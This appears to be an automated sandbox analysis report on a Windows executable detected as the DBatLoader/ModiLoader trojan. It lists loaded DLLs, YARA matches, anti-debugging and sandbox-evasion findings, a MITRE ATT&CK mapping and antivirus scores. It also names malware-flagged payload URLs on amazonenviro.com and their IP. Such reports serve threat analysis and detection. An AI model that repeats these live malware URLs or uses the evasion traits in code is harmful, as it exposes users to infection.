Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: UAHIzSm2x2.exe

Static file information: File size 1161216 > 1048576

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.UAHIzSm2x2.exe.22f65a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UAHIzSm2x2.exe.2890000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UAHIzSm2x2.exe.22f65a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3461173693.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3446485255.00000000022F6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028A8798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_028A8798

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028932FC push eax; ret	0_2_02893338
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BD2FC push 028BD367h; ret	0_2_028BD35F
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289635A push 028963B7h; ret	0_2_028963AF
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289635C push 028963B7h; ret	0_2_028963AF
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BD0AC push 028BD125h; ret	0_2_028BD11D
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BD1F8 push 028BD288h; ret	0_2_028BD280
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BD144 push 028BD1ECh; ret	0_2_028BD1E4
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A86B8 push 028A86FAh; ret	0_2_028A86F2
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_02896738 push 0289677Ah; ret	0_2_02896772
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_02896736 push 0289677Ah; ret	0_2_02896772
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289C4EC push ecx; mov dword ptr [esp], edx	0_2_0289C4F1
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289D520 push 0289D54Ch; ret	0_2_0289D544
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289CB6C push 0289CCF2h; ret	0_2_0289CCEA
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A788C push 028A7909h; ret	0_2_028A7901
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A68C8 push 028A6973h; ret	0_2_028A696B
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A68C6 push 028A6973h; ret	0_2_028A696B
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028AE9E8 push ecx; mov dword ptr [esp], edx	0_2_028AE9ED
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A890E push 028A8948h; ret	0_2_028A8940
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028AA918 push 028AA950h; ret	0_2_028AA948
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A8910 push 028A8948h; ret	0_2_028A8940
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028AA917 push 028AA950h; ret	0_2_028AA948
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_0289C95E push 0289CCF2h; ret	0_2_0289CCEA
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A2EE0 push 028A2F56h; ret	0_2_028A2F4E
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028BBFA0 push 028BC1C8h; ret	0_2_028BC1C0
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A2FEB push 028A3039h; ret	0_2_028A3031
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A2FEC push 028A3039h; ret	0_2_028A3031
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: 0_2_028A5DFC push ecx; mov dword ptr [esp], edx	0_2_028A5DFE

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028AA954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_028AA954

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028958B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028958B4

Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;
Source: UAHIzSm2x2.exe, 00000000.00000002.3445632764.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, UAHIzSm2x2.exe, 00000000.00000002.3445632764.000000000079E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

API call chain: ExitProcess graph end node

graph_0-29066

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028AF024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_028AF024

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_028A8798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_028A8798

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02895A78
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: GetLocaleInfoA,	0_2_0289A790
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: GetLocaleInfoA,	0_2_0289A744
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02895B84

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_0289918C GetLocalTime,

0_2_0289918C

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

Code function: 0_2_0289B70C GetVersionExA,

0_2_0289B70C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Network Connections Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	24 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UAHIzSm2x2.exe	78%	Virustotal		Browse
UAHIzSm2x2.exe	88%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
https://amazonenviro.com:443/245_Aiymwhpjxsg	100%	Avira URL Cloud	malware
http://amazonenviro.com/245_Aiymwhpjxsg	100%	Avira URL Cloud	malware
http://amazonenviro.com/245_AiymwhpjxsgJh	0%	Avira URL Cloud	safe
http://crl.microsM	0%	Avira URL Cloud	safe
http://amazonenviro.com/~ha~	0%	Avira URL Cloud	safe
http://amazonenviro.com/5	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_AiymwhpjxsgP	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_AiymwhpjxsgLocationETagAuthentication-InfoAgeAccept-RangesLast-Modified	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Aiymwhpjxsg	100%	Avira URL Cloud	malware
https://amazonenviro.com/u	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_AiymwhpjxsgC	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Aiymwhpjxsgerse	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsgxk6v	0%	Avira URL Cloud	safe
https://amazonenviro.com45_Aiymwhpjxsgb	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_AiymwhpjxsgJh	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_AiymwhpjxsgWk	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsg.mui	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsgg	0%	Avira URL Cloud	safe
http://amazonenviro.com/Bbe	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsg0	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsg1	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsggclose	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Aiymwhpjxsg0	0%	Avira URL Cloud	safe
https://amazonenviro.com/W	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsg5	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Aiymwhpjxsgc	0%	Avira URL Cloud	safe
http://amazonenviro.com/	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsg	100%	Avira URL Cloud	malware
http://amazonenviro.com/245_Aiymwhpjxsg(	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Aiymwhpjxsg2	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_AiymwhpjxsgX	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_AiymwhpjxsgW	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsg20F	0%	Avira URL Cloud	safe
https://amazonenviro.com/	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_AiymwhpjxsggT	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsgged	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_AiymwhpjxsgT	0%	Avira URL Cloud	safe
https://amazonenviro.com/5	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Aiymwhpjxsgclose	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Aiymwhpjxsgy	0%	Avira URL Cloud	safe
http://amazonenviro.com/U	0%	Avira URL Cloud	safe
http://amazonenviro.com/M	0%	Avira URL Cloud	safe
http://amazonenviro.com/d	0%	Avira URL Cloud	safe
https://amazonenviro.com:443/245_Aiymwhpjxsged	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsgl	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsg8	0%	Avira URL Cloud	safe
http://amazonenviro.com/245_Aiymwhpjxsgt	0%	Avira URL Cloud	safe
https://amazonenviro.com/245_Aiymwhpjxsgk	0%	Avira URL Cloud	safe
http://amazonenviro.com:80/245_Aiymwhpjxsgg2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amazonenviro.com	166.62.27.188	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://amazonenviro.com/245_Aiymwhpjxsg	true	Avira URL Cloud: malware	unknown
https://amazonenviro.com/245_Aiymwhpjxsg	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
